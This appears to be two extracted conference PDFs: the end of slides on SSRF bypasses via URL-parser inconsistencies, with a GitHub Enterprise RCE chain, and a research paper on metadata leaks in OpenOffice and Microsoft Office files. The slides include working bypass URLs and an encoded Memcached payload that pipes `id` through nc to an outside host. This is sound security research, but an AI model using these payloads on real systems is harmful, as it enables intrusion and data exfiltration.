(!empty($url_components['scheme']) && !in_array($url_components['scheme'], array('http', 'https'))) ||
6
(!empty($url_components['port']) && !in_array($url_components['port'], array(80, 8080, 443)))
7
) { return false; }
8
9
$addresses = gethostbynamel($url_components['host']);
10
if($addresses) {
11
// check addresses not in disallowed_remote_addresses
12
}
13
14
$ch = curl_init();
15
curl_setopt($ch, CURLOPT_URL, $url);
16
curl_exec($ch);
Abusing URL Parsers - Case Study
1.
gethostbyname() and get 1.2.3.4
2. Check 1.2.3.4 not in blacklist
3. Fetch URL by curl_init() and
cURL query DNS again!
4. 127.0.0.1 fetched, SSRF!
Q: foo.orange.tw
A: 1.2.3.4
Q: foo.orange.tw
A: 127.0.0.1
http://foo.orange.tw/
Hacker
MyBB
DNS
1
2
4
3
Abusing URL Parsers - Case Study
SSRF-Bypass tech #2
The inconsistency between DNS checker and URL requester
There is no IDNA converter in gethostbynamel(), but cURL has
1
$url = 'http://ß.orange.tw/'; // 127.0.0.1
2
3
$host = parse_url($url)[host];
4
$addresses = gethostbynamel($host); // bool(false)
5
if ($address) {
6
// check if address in white-list
7
}
8
9
$ch = curl_init();
10
curl_setopt($ch, CURLOPT_URL, $url);
11
curl_exec($ch);
Abusing URL Parsers - Case Study
SSRF-Bypass tech #3
The inconsistency between URL parser and URL requester
Fixed in PHP 7.0.13
…127.0.0.1:11211 fetched
$url = 'http://127.0.0.1:11211#@google.com:80/';
$parsed = parse_url($url);
var_dump($parsed[host]);
// string(10) "google.com"
var_dump($parsed[port]);
// int(80)
curl($url);
Abusing URL Parsers - Case Study
SSRF-Bypass tech #3
The inconsistency between URL parser and URL requester
Fixed in cURL 7.54 (The version of libcurl in Ubuntu 17.04 is still 7.52.1)
$url = 'http://[email protected]:[email protected]:80/';
$parsed = parse_url($url);
var_dump($parsed[host]);
// string(10) "google.com"
var_dump($parsed[port]);
// int(80)
curl($url);
…127.0.0.1:11211 fetched
Abusing URL Parsers - Case Study
SSRF-Bypass tech #3
The inconsistency between URL parser and URL requester
cURL won't fix :)
$url = 'http://[email protected] @google.com:11211/';
$parsed = parse_url($url);
var_dump($parsed[host]);
// string(10) "google.com"
var_dump($parsed[port]);
// int(11211)
curl($url);
…127.0.0.1:11211 fetched
Protocol Smuggling - Case Study
GitHub Enterprise
Standalone version of GitHub
Written in Ruby on Rails and code have obfuscated
Protocol Smuggling - Case Study
About Remote Code Execution on GitHub Enterprise
Best report in GitHub 3 rd Bug Bounty Anniversary Promotion!
Chaining 4 vulnerabilities into RCE
$12,500 awarded
Protocol Smuggling - Case Study
First bug - SSRF-Bypass on Webhooks
What is Webhooks?
Protocol Smuggling - Case Study
First bug - SSRF-Bypass on Webhooks
Fetching URL by gem faraday
Blacklisting Host by gem faraday-restrict-ip-addresses
Blacklist localhost, 127.0.0.1… ETC
Simply bypassed with a zero
http://0/
Protocol Smuggling - Case Study
First bug - SSRF-Bypass on Webhooks
There are several limitations in this SSRF
Not allowed 302 redirection
Not allowed scheme out of HTTP and HTTPS
No CR-LF Injection in faraday
Only POST method
Protocol Smuggling - Case Study
Second bug - SSRF in internal Graphite service
GitHub Enterprise uses Graphite to draw charts
Graphite is bound on 127.0.0.1:8000
url = request.GET['url']
proto, server, path, query, frag = urlsplit(url)
if query: path += '?' + query
conn = HTTPConnection(server)
conn.request('GET',path)
resp = conn.getresponse()
SSRF Execution Chain
: (
Protocol Smuggling - Case Study
Third bug - CR-LF Injection in Graphite
Graphite is written in Python
The implementation of the second SSRF is httplib.HTTPConnection
As I mentioned before, httplib suffers from CR-LF Injection
We can smuggle other protocols with URL
http://0:8000/composer/send_email
[email protected]
&url=http://127.0.0.1:6379/%0D%0ASET…
Protocol Smuggling - Case Study
Fourth bug - Unsafe Marshal in Memcached gem
GitHub Enterprise uses Memcached gem as the cache client
All Ruby objects stored in cache will be Marshal-ed
Protocol Smuggling - Case Study
http://0:8000/composer/send_email
[email protected]
&url=http://127.0.0.1:11211/%0D%0Aset%20githubproductionsearch/quer
ies/code_query%3A857be82362ba02525cef496458ffb09cf30f6256%3Av3%3Aco
unt%200%2060%20150%0D%0A%04%08o%3A%40ActiveSupport%3A%3ADeprecation
%3A%3ADeprecatedInstanceVariableProxy%07%3A%0E%40instanceo%3A%08ERB
%07%3A%09%40srcI%22%1E%60id%20%7C%20nc%20orange.tw%2012345%60%06%3A
%06ET%3A%0C%40linenoi%00%3A%0C%40method%3A%0Bresult%0D%0A%0D%0A
First SSRF
Second SSRF
Memcached protocol
Marshal data
Protocol Smuggling - Case Study
http://0:8000/composer/send_email
[email protected]
&url=http://127.0.0.1:11211/%0D%0Aset%20githubproductionsearch/quer
ies/code_query%3A857be82362ba02525cef496458ffb09cf30f6256%3Av3%3Aco
unt%200%2060%20150%0D%0A%04%08o%3A%40ActiveSupport%3A%3ADeprecation
%3A%3ADeprecatedInstanceVariableProxy%07%3A%0E%40instanceo%3A%08ERB
%07%3A%09%40srcI%22%1E%60id%20%7C%20nc%20orange.tw%2012345%60%06%3A
%06ET%3A%0C%40linenoi%00%3A%0C%40method%3A%0Bresult%0D%0A%0D%0A
First SSRF
Second SSRF
Memcached protocol
Marshal data
Demo
GitHub Enterprise < 2.8.7 Remote Code Execution
https://youtu.be/GoO7_lCOfic
Mitigations
Application layer
Use the only IP and hostname, do not reuse the input URL
Network layer
Using Firewall or NetWork Policy to block Intranet traffics
Projects
SafeCurl
by @fin1te
Advocate by @JordanMilne
Summary
New Attack Surface on SSRF-Bypass
URL Parsing Issues
Abusing IDNA Standard
New Attack Vectors on Protocol Smuggling
Linux Glibc NSS Features
NodeJS Unicode Failure
Case Studies
Further works
URL parser issues in OAuth
URL parser issues in modern browsers
URL parser issues in proxy server
…
Acknowledgements
1.
Invalid URL parsing with '#'
by @bagder
2. URL Interop
by @bagder
3. Shibuya.XSS #8
by @mala
4. SSRF Bible
by @Wallarm
5. Special Thanks
Allen Own
Birdman Chiu
Henry Huang
Cat Acknowledgements
https://twitter.com/harapeko_lady/status/743463485548355584
https://tuswallpapersgratis.com/gato-trabajando/
https://carpet.vidalondon.net/cat-in-carpet/
Meme Websites…
Thanks
[email protected]
@orange_8361 | pdf |
Disclosing Private Information from
Metadata, hidden info and lost data
Chema Alonso, Enrique Rando, Francisco Oca and Antonio Guzmán
Abstract — Documents contain metadata and hidden information that can be used to disclose private data and to
fingerprint an organization and its network computers. This document shows what kinds of data can be found, how to
extract them and proposes some solutions to the problem stated here.
Index Terms — Metadata, fingerprinting, security, privacy
—————————— ——————————
1 INTRODUCTION
he collaborative work in on documents justifies the need of an extra information attached
to the documents, in order to allow coherent and consistent results. In an environment
where social networks make the sharing of resources such an important issue, it is
necessary to store information about documents authors, the computers used to edit the
documents, software versions, printers where they were printed, and so on. Then, if necessary,
it will be possible, to prove the authorship of a concrete piece of information, to undo the last
changes, to recover a previous version of a document or even to settle responsibilities when
authorities want to investigate, for example, the management of the digital rights. The
techniques used to attach this extra information to a document, without interfering with its
content, are based on Metadata.
The concept of Metadata can be understood as information about the data. But it can also be
understood as a structured description, optionally available to the general public, which helps to
locate, identify, access and manage objects. Since Metadata are themselves data, it would be
possible to define Metadata about Metadata too. This can be very useful, for example, when a
given document has been the result of merging two or more previous documents.
The most frequent objective of Metadata is the optimization of Internet searches. The additional
information provided by Metadata allows to perform more accurate searches and to simplify the
development of filters. Therefore, Metadata emerge as a solution to human-computer
communication, describing the content and structure of the data. Furthermore, Metadata
facilitate further conversion to different data formats and variable data presentation according to
the environment features.
Metadata are classified using two different criteria: content and variability. The first classification
is the most widely used. You can easily distinguish among Metadata used to describe a
resource and Metadata used to describe the content of the resource. It is possible to split these
two groups once more, for example, to separate Metadata used to describe the meaning of the
contents from those used to describe the structure of the content; or to separate Metadata used
to describe the resource itself from those which describe the life cycle of the resource, and so
on. In terms of variability, on the other hand, the Metadata can be mutable or immutable.
Obviously, the immutable Metadata do not change, a typical example would be the name of a
file.
T
Disclosing Private Information from Metadata, hidden info and lost data
Page 2 of 29
The generation of Metadata can be manual or automatic. The manual process can be very
laborious, depending on the format used for the Metadata and on their desired volume. In the
automatic generation, software tools acquire the information they need without external help.
However, only in few cases we can have a completely automatic Metadata generation, because
some information is very difficult to extract with software tools. The most common techniques
use a hybrid generation that starts with the resource generation itself.
If the information changes Metadata must change too. When the modifications are simple
enough, they can be carried out automatically. But when the complexity increases, the
modifications usually require the intervention of a person. In addition, the destruction of
Metadata must be managed. In some cases, it is necessary to eliminate the Metadata along
with their correspondent resources; in others, it is reasonable to preserve the Metadata after the
resource destruction, for example, to monitor changes in a text document.
But the most critical situation is the destruction of Metadata when they are related to a final
resource version intended for publication. The main contribution of this work is a research about
what kind of information stored as Metadata in the public documents on the Internet is not
destroyed and how this information can be used as a basis for fingerprinting techniques. We
have selected two kinds of documents very usual on the web: Microsoft Office documents and
OpenOffice documents.
2 METADATA AND HIDDEN INFORMATION IN OPENOFFICE DOCUMENTS
2.1 ODF FILES
ODF (Open Document Format) is the native file format used by OpenOffice, an open standard
format, defined by OASIS and approved by ISO. In ODF, documents are stored as compressed
ZIP archives containing a set of XML files with the document contents. If you use compression
software to open an ODT document (text file created with OpenOffice Writer) you can find the
following files:
•
meta.xml: Metadata related to the document. This file is not encrypted even if the
document is password protected.
•
settings.xml: Information related to the document configuration and parameters.
•
content.xml: File with the main content of the document, therefore, the text.
Figure 1: ODT file contents
Disclosing Private Information from Metadata, hidden info and lost data
Page 3 of 29
Although OpenOffice version 1 uses different file extensions than OpenOffice 2, documents are
stored in a similar way in both versions. Do not forget that ODF was built as an evolution of the
file formats used in OpenOffice 1.
2.2 PERSONAL DATA
The first metadata generated using OpenOffice are created during the software installation and
first execution. The software suite asks the user a set of personal data which, by default, will be
attached to the documents created with this software.
Figure 2: User data modification
Some of these data will be stored within the documents created by OpenOffice. If we create a
new text document and afterwards check the contents of the generated meta.xml file, we will
find the following information:
<?xml version="1.0" encoding="UTF-8" ?>
-<office:document-meta xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0"
xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0"
xmlns:ooo="http://openoffice.org/2004/office" office:version="1.0">
- <office:meta>
<meta:generator>OpenOffice.org/2.3$Win32 OpenOffice.org_project/680m5$Build-
9221</meta:generator>
<meta:initial-creator>MiNombre MiApellido</meta:initial-creator>
<meta:creation-date>2008-08-11T11:33:23</meta:creation-date>
<meta:editing-cycles>0</meta:editing-cycles>
<meta:editing-duration>PT0S</meta:editing-duration>
<meta:user-defined meta:name="Info 1" />
<meta:user-defined meta:name="Info 2" />
<meta:user-defined meta:name="Info 3" />
<meta:user-defined meta:name="Info 4" />
<meta:document-statistic meta:table-count="0" meta:image-count="0" meta:object-count="0"
meta:page-count="1" meta:paragraph-count="0" meta:word-count="0" meta:character-count="0" />
</office:meta>
</office:document-meta>
Figure 3: meta.xml file
We can find information about the OpenOffice version, the operating system, and, within
personal data, about the user name. Perhaps we want to show this information or maybe not. A
user or a company should decide about it before publishing the document on the Internet,
before mailing it or before making it public by any other method.
Disclosing Private Information from Metadata, hidden info and lost data
Page 4 of 29
2.3 PRINTERS
Among the data that can be potentially dangerous, because it reveals information about the
company infrastructure, we have printer data. When you print a document with OpenOffice, and
after it, you save the document; its settings.xml file stores information about the printer that has
been used.
…
<config:config-item config:name="ClipAsCharacterAnchoredWriterFlyFrames"
config:type="boolean">false</config:config-item>
<config:config-item config:name="CurrentDatabaseDataSource" config:type="string" />
<config:config-item config:name="DoNotCaptureDrawObjsOnPage"
config:type="boolean">false</config:config-item>
<config:config-item config:name="TableRowKeep" config:type="boolean">false</config:config-
item>
<config:config-item config:name="PrinterName" config:type="string">EPSON Stylus DX4000
Series</config:config-item>
<config:config-item config:name="PrintFaxName" config:type="string" />
<config:config-item config:name="ConsiderTextWrapOnObjPos"
config:type="boolean">false</config:config-item>
<config:config-item config:name="UseOldPrinterMetrics"
config:type="boolean">false</config:config-item>
…
Figure 4: printer information in settings.xml file
This information may be important because it can denounce a forbidden action performed by a
user or point directly to a specific user or machine uniquely. In terms of security this information
could be even worse if the printer is shared on a server:
…
<config:config-item config:name="ClipAsCharacterAnchoredWriterFlyFrames"
config:type="boolean">false</config:config-item>
<config:config-item config:name="CurrentDatabaseDataSource" config:type="string" />
<config:config-item config:name="DoNotCaptureDrawObjsOnPage"
config:type="boolean">false</config:config-item>
<config:config-item config:name="TableRowKeep" config:type="boolean">false</config:config-
item>
<config:config-item config:name="PrinterName" config:type="string">\\servidor\HP 2000C
</config:config-item>
<config:config-item config:name="PrintFaxName" config:type="string" />
<config:config-item config:name="ConsiderTextWrapOnObjPos"
config:type="boolean">false</config:config-item>
<config:config-item config:name="UseOldPrinterMetrics"
config:type="boolean">false</config:config-item>
…
Figure 5: Printer information described in UNC format in settings.xml file
In this case, the printer appears in UNC format (Universal Naming Service), revealing both the
server name and the correspondent resource. These data, for example, could be used by
attackers to know the infrastructure of the internal network and to create a list of possible
targets.
2.5 TEMPLATES
Templates are used to generate documents with predefined styles and formats. They are widely
used because they allow using corporate documents and images comfortably. However, when a
document is generated from a template, it stores references to the path location of the template
in the meta.xml file:
<?xml version="1.0" encoding="UTF-8" ?>
- <office:document-meta xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0"
xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0"
xmlns:ooo="http://openoffice.org/2004/office" office:version="1.0">
- <office:meta>
<meta:generator>OpenOffice.org/2.3$Win32 OpenOffice.org_project/680m5$Build-
9221</meta:generator>
Disclosing Private Information from Metadata, hidden info and lost data
Page 5 of 29
<dc:title>NuevaPlantilla</dc:title>
<meta:initial-creator>MiNombre MiApellido</meta:initial-creator>
<meta:creation-date>2008-08-12T10:02:14</meta:creation-date>
<meta:editing-cycles>1</meta:editing-cycles>
<meta:editing-duration>PT0S</meta:editing-duration>
<meta:template xlink:type="simple" xlink:actuate="onRequest"
xlink:href="../../Datos%20de%20programa/OpenOffice.org2/user/template/NuevaPlan
tilla.ott" xlink:title="NuevaPlantilla" meta:date="2008-08-12T10:02:14" />
<meta:user-defined meta:name="Info 1" />
<meta:user-defined meta:name="Info 2" />
<meta:user-defined meta:name="Info 3" />
<meta:user-defined meta:name="Info 4" />
<meta:document-statistic meta:table-count="0" meta:image-count="0" meta:object-count="0"
meta:page-count="1" meta:paragraph-count="1" meta:word-count="0" meta:character-count="9" />
</office:meta>
</office:document-meta>
Figure 6: Path to template in meta.xml file
In the meta.xml file you can see the path to the template relative to the document location. This
path may seem harmless and lacking the information that could put the system security at risk.
However, if the document is stored in a folder located outside the user's profile, this path offers
information about the user account.
...
<meta:template xlink:type="simple" xlink:actuate="onRequest"
xlink:href="../Documents%20and%20Settings/UserAccount/Datos%20de%20programa/OpenOffice
.org2/user/template/NuevaPlantilla.ott" xlink:title="NuevaPlantilla" meta:date="2008-08-
12T10:02:14" />
<meta:user-defined meta:name="Info 1" />
...
Figure 7: Path to template in user’s profile in meta.xml file
In this case, the document has been stored in "C: \" and as a result, the path to the template
reveals the folder that contains the user's profile in "C: \ Documents and Settings". The name of
this folder is usually the name of the user account, in this example "UserAccount." It should be
noted that, in certain cases, the name of this folder contains data about the domain to which the
user belongs. This information is usually included in the name of the folder with the user's profile
with the structure "UserAccount.DomainName" offering critical information to a potential
attacker.
Similarly, the document could have been saved on another drive different from the template,
obtaining in this case a complete path to identify the disk drive:
…
<meta:template xlink:type="simple" xlink:actuate="onRequest"
xlink:href="/C:/Documents%20and%20Settings/papa/Datos%20de%20programa/OpenOffice.org2/u
ser/template/NuevaPlantilla.ott" xlink:title="NuevaPlantilla" meta:date="2008-08-12T10:02:14" />
<meta:user-defined meta:name="Info 1" />
…
Figure 8: Full path to template in meta.xml file
Examples shown above have all been performed on Windows machines, but the results do not
differ much in Linux machines. In this case, paths to templates can contain information about
user’s $HOME Path:
…
<meta:template xlink:type="simple" xlink:actuate="onRequest" xlink:role="template"
xlink:href="/home/pruebas/.openoffice.org2/user/template/PlantillaNueva.ott"
xlink:title="NuevaPlantilla" meta:date="2008-06-30T09:13:20" />
<meta:user-defined meta:name="Info 1" />
…
Figure 9: Full path to template related to $HOME in meta.xml file
Logically, if the template is located on a network server, the information in UNC format shows
the server’s name and the shared resource, again allowing a potential attacker to reconstruct
the network structure of the organization.
Disclosing Private Information from Metadata, hidden info and lost data
Page 6 of 29
2.6 EMBEDDED AND LINKED DOCUMENTS
One of the options provided by almost all of the current office software is linking and embedding
documents. In the case of linking files, there is a reference to the linked document in the main
document, in the form of a relative path, when it is possible, and as an absolute path when there
is no other alternative. If the document is linked on the same computer where the main
document is, the result will be, in general, similar the results shown in the last section.
Therefore, a potential attacker could disclose sensitive information about user accounts or file
locations.
If the linked document is stored on another computer, the information disclosed to the attacker
is very useful again:
…
<text:p text:style-name="Standard">
<draw:frame draw:style-name="fr1" draw:name="gráficos1" text:anchor-type="paragraph"
svg:width="16.999cm" svg:height="6.369cm" draw:z-index="0">
<draw:image xlink:href="//desktop/confidenciales/Dibujo.bmp" xlink:type="simple"
xlink:show="embed" xlink:actuate="onLoad" draw:filter-name="<Todos los formatos>" />
</draw:frame>
</text:p>
…
Figure 10: Linked document
When the file is embedded in the document, not linked, there are not routes implied in the
process, but we have to face new potential problems of leakage of information, because they
may contain metadata and hidden information.
Suppose that we embed a JPG image (with its metadata in EXIF format) in an ODF document.
In the example, one of such EXIF metadata is a miniature that looks different from the
embedded image, thus showing that the image has been manipulated.
All the embedded files are included in the master document, so opening the ODT file with a
decompressor, you can see that there is a folder called Pictures, and inside it is the embedded
image, but under another name.
Figure 11: Embedded image in Pictures folder
If this image is extracted and analyzed, it has all the original image’s metadata attached and, of
course, the thumbnail that shows its original state. It´s possible to use any EXIF reader tool to
analyze the thumbnail attached to the pictured to prove this as can be seen in Figure 12.
Figure 6 EXIF Metadata from an embedded image
Disclosing Private Information from Metadata, hidden info and lost data
Page 7 of 29
Figure 12: Original thumbnail discover image’s manipulations
2.7 MODIFICATIONS
One of the features offered by OpenOffice Writer is to track changes in documents. This is
useful when a document is being developed by multiple users or when you want to log all the
modifications. The submenu "modification" of the Edit menu can activate this feature, as well as
make visible or hide the changes.
A user can work on a document with this option activated, even by negligence, so that if the
document is published without eliminating its history, anyone can guess if something has been
removed or added, and by whom, and when these changes were made.
Figure 13: Changes aren´t displayed
Figure 14 shows that if you left the cursor on a change in the document for a few moments,
there is a message indicating who made it and when.
Disclosing Private Information from Metadata, hidden info and lost data
Page 8 of 29
Figure 14: Changes are displayed
All of this information about the change history is stored in the file content.xml:
…
<text:tracked-changes>
<text:changed-region text:id="ct110732472">
<text:deletion>
<office:change-info>
<dc:creator>MiNombre MiApellido</dc:creator>
<dc:date>2008-08-13T13:07:00</dc:date>
</office:change-info>
<text:p text:style-name="Standard">lamentablemente patética</text:p>
</text:deletion>
</text:changed-region>
…
2.8 HIDDEN PARAGRAPHS
Another option offered by OpenOffice is to hide text or paragraphs. This functionality allows
working on a document in a display with hidden paragraphs, ready to print, and in another
display, with all the paragraphs visible, for example, with the information for editing the
document. This feature is activated including a special field in the paragraph:
We can turn on or turn off the display of hidden text using the corresponding menu item "View".
So, if we have a document with hidden paragraphs, but we do not have the option of seeing
them, we are working with a display that does not show all the information that the document
has.
Figure 15 Document with hidden paragraphs
Disclosing Private Information from Metadata, hidden info and lost data
Page 9 of 29
Figure 16: Document displaying hidden paragraphs
2.9 HIDDEN INFORMATION DUE TO THE FORMAT
Another type of hidden text or content is the one that is not visible due to the document format:
for example, other content, such as an image, overlaps with it or the text is in the same color
that the document background. Of course, this kind of content should be carefully reviewed
before publishing the document.
2.10 NOTES, HEADERS, FOOTNOTES AND COMMENTS
In an OpenOffice document there are a number of places where you can enter information that
may go unnoticed in subsequent revisions. For example, in headers and footnotes, online
annotations or comments, that can be entered using the "Notes" option in the "Insert" menu.
These notes, unless you specify it, are not included when the document is printed or exported,
for example, to PDF format, so it is easy to forget this information in the reviews. It has to be
considered that some elements can be defined as "not printable"; therefore, a detailed revision
of a document should not be limited to reading a printed version.
Figure 17: Defining a document as printable or not printable (Spanish version, what a great language!)
Disclosing Private Information from Metadata, hidden info and lost data
Page 10 of 29
2.11 CUSTOMIZED METADATA
Metadata, as it was discussed in the introduction of this document, are not harmful themselves,
and on the contrary, they can be very useful for certain applications. In OpenOffice, the user is
able to include customized Metadata in his/her documents and to add information to the
document using the "Properties" option from the File menu. In addition to the customized
Metadata, the document may store information if it is created from another previous document,
inherited from this one.
Figure 18: Customized metadata
Sometimes, this customized information is used as a working tool in the process of document
elaboration and may include corporate or personal opinions, more or less politically correct,
identifications and other personal data or references to documentary sources. Of course, all this
information must be reviewed before the document publication.
2.12 DATABASES
The combination of documents with databases must be considered too. One of the most
important functionalities provided by Office applications nowadays is the ability to generate
models that, combined with databases, allow customized and automatic documents generation.
These models, designed from mail merging, deserve a special consideration, since they contain
information that allows describing the database they are taking the information from. All the
information related to the database can be found in the settings.xml file. There is information
about the name of the database and about the table used for the combination.
<config:config-item config:name="CurrentDatabaseDataSource"
config:type="string">Referencias</config:config-item>
<config:config-item config:name="CurrentDatabaseCommandType" config:type="int">0</config:config-
item>
<config:config-item config:name="CurrentDatabaseCommand"
config:type="string">Contactos</config:config-item>
<config:config-item config:name="PrintDrawings" config:type="boolean">true</config:config-item>
Figure 19: Information related to database in settings.xml
Disclosing Private Information from Metadata, hidden info and lost data
Page 11 of 29
And in content.xml file we can find the name of the database, the table and the fields:
…
<text:p text:style-name="Standard">
<text:database-display text:table-name="Contactos" text:table-type="table" text:column-
name="nombre" text:database-name="Referencias"><nombre></text:database-display>
</text:p>
<text:p text:style-name="Standard">
<text:database-display text:table-name="Contactos" text:table-type="table" text:column-
name="direccion" text:database-name="Referencias"><direccion></text:database-display>
</text:p>
<text:p text:style-name="Standard">
<text:database-display text:table-name="Contactos" text:table-type="table" text:column-
name="clave" text:database-name="Referencias"><clave></text:database-display>
…
Figure 20: Information related to database in content.xml
However, information regarding the connection to the database is not in the ODF document.
This information could show the path to a database file or the credentials to access a server,
and is stored in a user's profile file called DataAccess.xcu, that should be especially protected
by the user.
C:\Documents and Settings\USER_ACCOUNT\Program data\
\OpenOffice.org2\user\registry\data\org\openoffice\Office\DataAccess.xcu
Although connection’s credentials to database are not published, the information stored with the
document may be enough to help a potential attacker to prepare his attacks to the database,
directly or through SQL Injection techniques on the company's website.
2.13 VERSIONS OF DOCUMENTS
Like other Office packages, OpenOffice allows saving different versions of the same document.
This feature is extremely useful in collaborative work environments, allowing the evaluation of
the document changes and, if necessary, restoring the previous state after a mishandling. In the
File menu, the "Versions" option is to save the current version of the document, and to save a
new version of the document every time.
Figure 21: Document’s versions (Software in Spanish)
Disclosing Private Information from Metadata, hidden info and lost data
Page 12 of 29
Within an ODF document that contains different versions we can find important information.
First of all, a file called VersionList.xml with information about who saved each different version
and when:
<?xml version="1.0" encoding="UTF-8" ?>
<VL:version-list xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:VL="http://openoffice.org/2001/versions-list">
<VL:version-entry VL:title="Version1" VL:comment="Versión guardada automáticamente"
VL:creator="MiNombre MiApellido" dc:date-time="2008-08-13T00:39:22" />
<VL:version-entry VL:title="Version2" VL:comment="Versión guardada automáticamente"
VL:creator="MiNombre MiApellido" dc:date-time="2008-08-13T00:41:53" />
…
</VL:version-list>
Figure 22: VersionList.xml
Secondly, all the different versions of the document are stored in a folder called "Versions". For
each of them, we can find the complete structure of a document in OpenOffice, ODF, that is,
each version contains the files meta.xml, settings.xml, content.xml, etc...
Figure 23: Versions folder
2.13 ANALYSIS AND CLEANING TOOLS
There are some tools to analyze and remove Metadata in OpenOffice, such as 3BOpenDoc or
3BClean, but these tools only remove the file meta.xml, leaving the information about printers,
possible internal servers and data connections to databases in the files settings.xml and
content.xml.
It is true that the meta.xml file is especially important because, as the documentation says, this
file is not going to be encrypted even when you save the file as password protected, but in
terms of security the rest of the Metadata is equal.
Therefore it is very important to have a tool capable of analyzing all the information stored in
these files and providing a convenient and user-friendly environment for all users in an
organization to clean al the Metadata files in OpenOffice.
OpenOffice itself offers the option to "Remove personal information when you leave," but this
option does not remove the information from the operating system, printers, the version of the
product, the path to the template. And we have seen that this information can show hidden
routes or addresses from internal servers and of course, connection information to databases
Disclosing Private Information from Metadata, hidden info and lost data
Page 13 of 29
Figure 24: Delete all personal information when save the document (Software in Spanish)
As a conclusion, the "Delete all personal information" option and the use of the available tools
eliminate some metadata but not all the hidden information within an OpenOffice document.
A last alternative is to use tools to recover damaged documents. Using the Recovery for Writer,
for example, the information stored in the meta.xml and settings.xml files, disappears. However,
the information about the structure of the database and the connection in the content.xml file
does not disappear, and in documents created with templates, the look of the document may
change. Therefore, it is not a definitive solution.
Figure 25: Recovery for Writter
2.14 OOMETAEXTRACTOR
As a better solution we conclude to develop a tool to extract and clean metadata and hidden
info in OpenOffice documents. This tool is available under a Microsoft Public License in
Codeplex web site. It has been developed in .Net so it needs .NET Framework and it has been
tested only in Microsoft Windows operating systems.
This tool allows users to analyze not only an ODF document but also a complete folder full of
ODF documents in ODT, ODS or ODP formats. All metadata and hidden info are shown and
can be exported in a text file. Moreover, this tool cleans all documents, even templates, links to
documents, printer configuration and customized metadata.
In order to create a company’s policy with metadata this tool has an option to set up a template
for metadata. This means, what to do whit some kind of metadata. For instance, it would be
desirable set up company’s name in company metadata, or a fixed author for all documents.
Disclosing Private Information from Metadata, hidden info and lost data
Page 14 of 29
This can be done easily with OOMetaExtractor. This tool is available for download along with its
source code at http://www.codeplex.com/oometaextractor
Figure 26: OOMetaExtractor (yes, it´s in Spanish)
3 METADATA AND HIDDEN INFORMATION INSIDE MICROSOFT OFFICE
DOCUMENTS
During the Microsoft Office installation, a dialog lets the user input information about him or her.
From that moment on, the information the user provided will be added to each and every
document created, or edited, by that user with this software.
Figure 27: User Information in Microsoft Office 2003
In multi-user environments, the same product is often used by different users on the same
computer. When a user runs an Office application for the first time, a new dialog appears asking
for information about him or her. And, again, this information will be added to every document
the user edits o creates.
Disclosing Private Information from Metadata, hidden info and lost data
Page 15 of 29
Figure 27: Another User stars Microsoft Office 2003
And this information can pose a risk, above all because the default value for the “Name” field is
the user account name.
3.1 DOCUMENT PROPERTIES
Upon document creation, authors can explicitly assign metadata to it, that is, creator can
introduce a short description, keywords, and their department o whatever that may be suitable
or useful. This data gets stored indefinitely inside the document file. When a document
containing metadata is used as a template in order to create new documents, these ones will
inherit this information.
Document metadata is customizable, so they may contain any attribute and value the author
could add. This must be kept into account when publishing documents created in corporative
environments, because an inappropriate metadata can damage the organization image.
Figure 28: Document´s properties (all in Spanish….)
Disclosing Private Information from Metadata, hidden info and lost data
Page 16 of 29
3.2 EMBEDDED FILES
Microsoft Office allows users to embed images and other documents into the documents they
create. These embedded documents may contain their own metadata, thus being a potential
source for information leaks.
The next example shown an image file created with GIMP, a graphic document creation
program. That image contains EXIF information, readable with any EXIF extraction tool. It may
be seen that the image has a metadata attribute showing the program used. It also has a
thumbnail for the image inside the same file.
Figure 29: EXIF Metadata in an embedded image
Let’s embed this image inside a Microsoft Word 97 document, using the “Insert Image” option
from the “File” menu. Then, using a hexadecimal editor, the image metadata can be read.
3.3 EXTRACTING EMBEDDED FILES
It is easy to extract these embedded files from Microsoft Word DOC, Excel XLS or PowerPoint
PPT files. Just by saving the document in HTML (web page) format, these programs extract
embedded files and store them as independent files.
Figure 30: Extracting embedded files
Disclosing Private Information from Metadata, hidden info and lost data
Page 17 of 29
It can be seen that EXIF information has not been modified. In this example, the thumbnail
looks different from the image, showing that some editing work has been made on it.
This metadata preserving behavior can be found in Microsoft Office versions. They don’t modify
EXIF information unless the author uses the “Modify Image” option and then, saves the
document.
Microsoft Office 2007 introduces a new file format, called OOXML which will become to ISO DIS
29500 in next Microsoft Office versions. DOCX, XLSX, and PPTX files are ZIP compressed
archives in which embedded files are stored as independent items. These items can also be
easily extracted.
Figure 31: Files inside an OOXML file
3.4 REVISIONS Y MODIFICATIONS
Users involved in document sharing and workflows find Microsoft Office “Revision” feature
especially useful. This feature allows more than one user to work on the same document, while
keeping track of who made each change, so that previous document states can be recovered.
But when the document is made available to the public, this data is no longer useful and can
turn into compromising information.
Figure 32: Changes can be seen (Image in Spanish)
As the image shows, older contents are shown in red color. Final document view gives a
positive result, while the older one gave a negative one. This could be seen by any user, only by
selecting the “see original document”.
Disclosing Private Information from Metadata, hidden info and lost data
Page 18 of 29
3.5 NOTES, HEADERS AND PAGE FOOTINGS
There are other places where non intended information may appear, such as notes and page
headers and footers, or presentation annotations. They can contain reference codes used inside
the organization, names of users that worked on the document or file paths. All this information
must be taken into account before the document is published.
3.6 ELEMENTS HIDDEN BY THEIR FORMAT
In a Microsoft Office document, an image can be hidden by other ones above it. Template
elements may contain undesired data that afterwards can be hidden by document text or
images. Some text can be of the same color than the background. All these items are not
visible, but they remain within the document and therefore can be use to extract information.
Errors and negligent or malicious behaviors may cause this kind of data be part of the
documents the organization publishes or send out.
Figure 33: Data hidden by document’s format
3.7 OTHER PLACES WHERE TO LOOK FOR DATA
The list of places where undesired data may appear is very long: comments, style sheets,
hyperlinks to Intranet servers, or even parameters or variable names in VBScript macros… All
this data can be easily retrieved using a hexadecimal editor or a string extraction program.
Figure 34: Strings extracted from an OOXML file using bintext
Disclosing Private Information from Metadata, hidden info and lost data
Page 19 of 29
3.8 HIDDEN METADATA
So far, this part about Microsoft Office has dealt with metadata and information easily
accessible, and sometimes editable, by the user. But there is another kind of data that is stored
inside documents and is not available to the user.
